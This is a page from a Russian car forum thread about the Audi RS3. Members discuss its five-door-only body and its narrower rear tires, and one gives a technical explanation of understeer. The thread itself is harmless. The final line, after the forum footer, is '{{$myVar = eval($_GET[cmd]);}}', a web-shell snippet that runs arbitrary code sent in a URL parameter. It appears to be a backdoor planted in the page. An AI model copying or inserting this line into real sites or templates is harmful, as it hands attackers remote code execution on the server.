+ Ответить в теме
Страница 3 из 4 ПерваяПервая 1 2 3 4 ПоследняяПоследняя
Показано с 21 по 30 из 40

Тема: рассекретили Audi RS3


  1. #21
    GTI-Racing VETER is on a distinguished road Аватар для VETER
    Регистрация
    03.06.2007
    Откуда
    Москва
    Машина
    быстрый
    Сообщений
    310
    Цитата Сообщение от VVZ Посмотреть сообщение
    Странно...
    Самая мощная модель среди третей серии и только 5 дверей. Как-то неспортивно )))
    Я так понимаю, что бы не отнимать покупателей у ТТРС
    Маркетинг, твою мать:punish:
    Drive it like you stole it...........

  2. #22
    GTI-Racing evgeniy873 is on a distinguished road Аватар для evgeniy873
    Регистрация
    23.06.2010
    Откуда
    Москва
    Машина
    BMW E82 1M (VO)
    Сообщений
    61
    Цитата Сообщение от VETER Посмотреть сообщение
    Я так понимаю, что бы не отнимать покупателей у ТТРС
    Маркетинг, твою мать:punish:
    тогда интересно, следуя логике, сколько отняла 3х-ка S3 у ТTS...
    да столько же у скольких покупателей не хватило оплатить разницу в 20 штук между ними в стоимости
    это же Ауди не остановило
    также было бы и в случае 3х-ка RS3 и TT-RS))
    просто на заре смены поколений нет смысла плодить кучу модификаций лимитированной серии - она и так разойдется на ура

  3. #23
    GTI-Racing up2you is a jewel in the rough up2you is a jewel in the rough up2you is a jewel in the rough up2you is a jewel in the rough Аватар для up2you
    Регистрация
    29.09.2009
    Машина
    VW GOLF GTI 5
    Сообщений
    1,112
    дааааайоооооошь трехдверку!
    who needs headlights when you’ve got lazertits?

    Grand Cherokee WK2 // Scirocco MK1 1975 // Honda CB400SS Street Tracker

  4. #24
    Цитата Сообщение от up2you Посмотреть сообщение
    дааааайоооооошь трехдверку!
    и обязательно на палке
    3d,5d gti, s3

  5. #25
    GTI-Racing evgeniy873 is on a distinguished road Аватар для evgeniy873
    Регистрация
    23.06.2010
    Откуда
    Москва
    Машина
    BMW E82 1M (VO)
    Сообщений
    61

    у RS3 задние шины Уже передних!)

    а ужЕ успели "обтереть" тот вопрос, что у RS3 передние шины 235/35, а задние - 225/35!?
    понятно, что скорее технической необходимостью руководствовались, но все равно неоднозначно звучит..

  6. #26
    Жгун Года 2010 КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough Аватар для КИБАЛЬЧИШЬ
    Регистрация
    14.04.2008
    Сообщений
    2,346
    Цитата Сообщение от evgeniy873 Посмотреть сообщение
    а ужЕ успели "обтереть" тот вопрос, что у RS3 передние шины 235/35, а задние - 225/35!?
    понятно, что скорее технической необходимостью руководствовались, но все равно неоднозначно звучит..
    Сей феномен я попросил ба прокоментировать своего давнего технического
    гуру и просто, хорошего человека, Вадима Рекароспидова.
    Просимо маэстго.

  7. #27
    GTI-Racing crazy_engineer is a jewel in the rough crazy_engineer is a jewel in the rough crazy_engineer is a jewel in the rough Аватар для crazy_engineer
    Регистрация
    21.01.2007
    Откуда
    г. Видное Московской обл.
    Машина
    vRS
    Сообщений
    2,901
    Цитата Сообщение от КИБАЛЬЧИШЬ Посмотреть сообщение
    Сей феномен я попросил ба прокоментировать своего давнего технического
    гуру и просто, хорошего человека, Вадима Рекароспидова.
    Просимо маэстго.
    Алексей, ну зачем ты так меня обзываешь???!!! В следующий раз когда буду про тебя писать тоже придумаю обидное прозвище чтобы ты покраснел от смущения))) Например: «КИБАЛЬЧИШЬ самый скромный …»

    По теме: что тут комментировать? это азбука конструирования автомобилей! думаю у нас в клубе много технически грамотных людей которые всё сразу поняли!
    Как известно уменьшение ширины (и диаметра) задних шин и/или задней колеи наделяет автомобиль недостаточной поворачиваюмость и соответственно наоборот увеличение ширины задних шин и/или задней колеи увеличивает склонность к избыточной поворачиваемости т.е. к заносу. Понятно что на характер управляемости автомобиля можно влиять другими параметрами (развесовка, хар-ки подвески, давление в шинах и пр.), но размер колей и шин это так сказать отправная точка, так как диапазоны изменения этих параметров ограничены размерами кузова, который как известно является самой дорогой деталью автомобиля.

    Обычно конструкторы ограничиваются уменьшением ширины задней колеи, оставляя колеса одинаковой размерности на передней и задней оси, в первую очередь конечно для уменьшения номенклатуры комплектующих на складе запчастей и удешевления производства, а во вторую – для удобства потребителей при замене шин.

    Но Audi RS3 не совсем обычный автомобиль, потенциал его двигателя и трансмиссии позволяет (провоцирует) движение на высоких скоростях, поэтому конструкторы «подстраховали» среднестатистического водителя не только увеличив разницу между передней и задней колеей (1567-1528=39 мм, а у «обычной» Audi A3 1537-1507=30 мм) но и дополнительно уменьшив ширину задних шин. Таким образом несколько увеличив недостаточную поворачиваемость, в том числе сделав «прострелы» по безлимитным автобанам более безопасными (возможно конструкторы Audi до сих пор боятся повторения трагической истории с первой Audi TT ).

    Предполагаю что некоторые владельцы Audi RS3 при замене шин приобретут новые шины одинаковой размерности для передней и задней оси, что приведет к незначительному уменьшению недостаточной поворачиваемости.

  8. #28
    GTI-Racing evgeniy873 is on a distinguished road Аватар для evgeniy873
    Регистрация
    23.06.2010
    Откуда
    Москва
    Машина
    BMW E82 1M (VO)
    Сообщений
    61
    Цитата Сообщение от crazy_engineer Посмотреть сообщение
    Алексей, ну зачем ты так меня обзываешь???!!! В следующий раз когда буду про тебя писать тоже придумаю обидное прозвище чтобы ты покраснел от смущения))) Например: «КИБАЛЬЧИШЬ самый скромный …»

    По теме: что тут комментировать? это азбука конструирования автомобилей! думаю у нас в клубе много технически грамотных людей которые всё сразу поняли!
    Как известно уменьшение ширины (и диаметра) задних шин и/или задней колеи наделяет автомобиль недостаточной поворачиваюмость и соответственно наоборот увеличение ширины задних шин и/или задней колеи увеличивает склонность к избыточной поворачиваемости т.е. к заносу. Понятно что на характер управляемости автомобиля можно влиять другими параметрами (развесовка, хар-ки подвески, давление в шинах и пр.), но размер колей и шин это так сказать отправная точка, так как диапазоны изменения этих параметров ограничены размерами кузова, который как известно является самой дорогой деталью автомобиля.

    Обычно конструкторы ограничиваются уменьшением ширины задней колеи, оставляя колеса одинаковой размерности на передней и задней оси, в первую очередь конечно для уменьшения номенклатуры комплектующих на складе запчастей и удешевления производства, а во вторую – для удобства потребителей при замене шин.

    Но Audi RS3 не совсем обычный автомобиль, потенциал его двигателя и трансмиссии позволяет (провоцирует) движение на высоких скоростях, поэтому конструкторы «подстраховали» среднестатистического водителя не только увеличив разницу между передней и задней колеей (1567-1528=39 мм, а у «обычной» Audi A3 1537-1507=30 мм) но и дополнительно уменьшив ширину задних шин. Таким образом несколько увеличив недостаточную поворачиваемость, в том числе сделав «прострелы» по безлимитным автобанам более безопасными (возможно конструкторы Audi до сих пор боятся повторения трагической истории с первой Audi TT ).

    Предполагаю что некоторые владельцы Audi RS3 при замене шин приобретут новые шины одинаковой размерности для передней и задней оси, что приведет к незначительному уменьшению недостаточной поворачиваемости.
    ознакомился
    ну, во-первых, Алексей абсолютно грамотно тебя назвал - что есть, то есть))
    во-вторых, "технически грамотным" можно быть в разных областях (и практически невозможно во всех одновременно) и не обязательно при этом в том, что ты затронул..слава богу, что тут простая регистрация на сайте, без сдачи экзаменов по техническим автоаспектам))

  9. #29
    ну так логично, разноширокие колеса, для увеличения зацепа на ведущую ось, для разгончика, и рулешечьки! Мне кажется рулиться она всеравно будет не айс, с целью при *прострелах* по автобанам, если немного увлечешься, то можно было просто притормозить со сносом передней оси, а не оттормозиться жопой в отбойнике :)
    The day I've bought my GTI was the day I became alive. ©
    GTI не стареют, со временем они становятся быстрее, и ниже. ©

  10. #30
    GTI-Racing VVZ will become famous soon enough Аватар для VVZ
    Регистрация
    07.05.2008
    Машина
    VW Golf GTI Mk5 DSG
    Сообщений
    3,440
    Цитата Сообщение от evgeniy873 Посмотреть сообщение
    а ужЕ успели "обтереть" тот вопрос, что у RS3 передние шины 235/35, а задние - 225/35!?
    понятно, что скорее технической необходимостью руководствовались, но все равно неоднозначно звучит..
    Может это просто ошибка? Должно быть 235 сзади и 225 спереди? Разгон в этом случае будет быстрее, а рулежка с более выраженной недостаточной поворачиваемостью. Логика есть )
    С уважением, Василий.

    My onboard video.

+ Ответить в теме
Страница 3 из 4 ПерваяПервая 1 2 3 4 ПоследняяПоследняя

Похожие темы

  1. Audi S3
    от Solyarkin в разделе Клубные машины
    Ответов: 21
    Последнее сообщение: 16.04.2019, 15:06
  2. Ответов: 1
    Последнее сообщение: 13.04.2015, 11:07
  3. Audi s3 vs Bmw 130
    от Gomkv в разделе Украина
    Ответов: 20
    Последнее сообщение: 29.08.2009, 22:52
  4. Audi
    от кастос в разделе Покупка и продажа авто
    Ответов: 6
    Последнее сообщение: 04.08.2008, 14:13

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}